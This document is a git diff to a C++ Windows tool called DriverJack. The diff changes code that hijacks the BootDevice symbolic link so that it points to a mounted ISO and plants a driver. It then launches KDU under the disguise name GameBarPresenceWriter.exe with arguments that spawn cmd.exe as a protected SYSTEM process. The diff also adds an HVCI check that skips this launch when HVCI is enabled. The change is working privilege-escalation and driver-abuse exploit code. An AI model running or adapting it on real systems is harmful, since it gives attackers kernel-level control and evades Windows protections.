diff --git a/DriverJack/DriverJack.vcxproj b/DriverJack/DriverJack.vcxproj index eb45ae9..76cee01 100644 --- a/DriverJack/DriverJack.vcxproj +++ b/DriverJack/DriverJack.vcxproj @@ -168,7 +168,6 @@ - Document diff --git a/DriverJack/DriverJack.vcxproj.filters b/DriverJack/DriverJack.vcxproj.filters index 4dcac6d..cf6c33b 100644 --- a/DriverJack/DriverJack.vcxproj.filters +++ b/DriverJack/DriverJack.vcxproj.filters @@ -85,9 +85,6 @@ - - Resource Files - Resource Files diff --git a/DriverJack/Main.cpp b/DriverJack/Main.cpp index 901e8ee..21e09b8 100644 --- a/DriverJack/Main.cpp +++ b/DriverJack/Main.cpp @@ -16,6 +16,11 @@ int main(int argc, char* argv[]) { int drvx_len = 0; int drv64_len = 0; int kdu_len = 0; + + // HVCI State + BOOLEAN bHVCIEnabled = FALSE; + BOOLEAN bHVCIStrictMode = FALSE; + BOOLEAN bHVCIIUMEnabled = FALSE; // Overwrite result BOOL bSuccess = FALSE; @@ -134,7 +139,7 @@ int main(int argc, char* argv[]) { printf("(+) Old target: %ws\n", oldTarget.c_str()); printf("(+) New target: %ws\n", physicalDrivePath); - // change the symbolic link to make it point to the UEFI partition (\Device\HarddiskVolume1) + // change the symbolic link to make it point to the ISO (\Device\CdRomX) auto status = ChangeSymlink(L"\\Device\\BootDevice", wDevicePath); if (status == STATUS_SUCCESS) std::cout << "(+) Successfully changed symbolic link to new target!\n"; @@ -170,19 +175,29 @@ int main(int argc, char* argv[]) { return 1; } - // We now have shift back to E: - std::string cmdLine = std::string("start \"\" cmd /c "); - cmdLine.append(fullKduPath); - cmdLine.append(" -prv 34 -pse C:\\Windows\\System32\\cmd.exe"); + QueryHvciInfo(&bHVCIEnabled, &bHVCIStrictMode, &bHVCIIUMEnabled); - printf("(*) Executing: %s\r\n", cmdLine.c_str()); + if (bHVCIEnabled) { + printf("(-) HVCI is Enabled, KDU will not work. Please switch to an HVCI compliant solution.\n"); + } + else { + printf("(+) HVCI is not enabled, KDU will work.\n"); + // We now have shift back to E: + //std::string cmdLine = std::string("start \"\" cmd /c "); + std::string cmdLine = std::string(""); + cmdLine.append(fullKduPath); + cmdLine.append(" -prv 34 -pse C:\\Windows\\System32\\cmd.exe"); + + printf("(*) Executing: %s\r\n", cmdLine.c_str()); + + // Using KDU to launch a PPL process with SYSTEM privileges + system(cmdLine.c_str()); + + } + printf("(+) Finished. Press a button to cleanup and exit."); getchar(); - // Using KDU to launch a PPL process with SYSTEM privileges - system(cmdLine.c_str()); - - Sleep(5000); // Stop the service to free the driver DoStopSvc(DRIVER_SERVICE_NAME); // Unmount the ISO diff --git a/DriverJack/common.h b/DriverJack/common.h index 3422d56..c150d68 100644 --- a/DriverJack/common.h +++ b/DriverJack/common.h @@ -19,7 +19,7 @@ //#define KDU_PATH "\\Windows\\System32\\DisplaySwitch.exe" //#define DR64_PATH "\\Windows\\System32\\drv64.dll" -#define KDU_PATH "DisplaySwitch.exe" +#define KDU_PATH "GameBarPresenceWriter.exe" #define DR64_PATH "drv64.dll" #define DRVX_PATH "Windows\\System32\\drivers\\amdxata.sys" diff --git a/DriverJack/res/Windows.dat b/DriverJack/res/Windows.dat index ba91bb0..ffe28dc 100644 Binary files a/DriverJack/res/Windows.dat and b/DriverJack/res/Windows.dat differ diff --git a/DriverJack/utils.h b/DriverJack/utils.h index f7f855d..ab9d2f1 100644 --- a/DriverJack/utils.h +++ b/DriverJack/utils.h @@ -35,4 +35,48 @@ DWORD ExtractNumberFromPath(PWSTR path) { p++; } return number; +} + +BOOLEAN QueryHvciInfo( + _Out_ PBOOLEAN pbHVCIEnabled, + _Out_ PBOOLEAN pbHVCIStrictMode, + _Out_ PBOOLEAN pbHVCIIUMEnabled +) +{ + BOOLEAN hvciEnabled; + ULONG returnLength; + NTSTATUS ntStatus; + SYSTEM_CODEINTEGRITY_INFORMATION ci; + + if (pbHVCIEnabled) *pbHVCIEnabled = FALSE; + if (pbHVCIStrictMode) *pbHVCIStrictMode = FALSE; + if (pbHVCIIUMEnabled) *pbHVCIIUMEnabled = FALSE; + + ci.Length = sizeof(ci); + + ntStatus = NtQuerySystemInformation( + SystemCodeIntegrityInformation, + &ci, + sizeof(ci), + &returnLength); + + if (NT_SUCCESS(ntStatus)) { + + hvciEnabled = ((ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) && + (ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED)); + + if (pbHVCIEnabled) + *pbHVCIEnabled = hvciEnabled; + + if (pbHVCIStrictMode) + *pbHVCIStrictMode = (hvciEnabled == TRUE) && + (ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED); + + if (pbHVCIIUMEnabled) + *pbHVCIIUMEnabled = (ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED) > 0; + + return TRUE; + } + + return FALSE; } \ No newline at end of file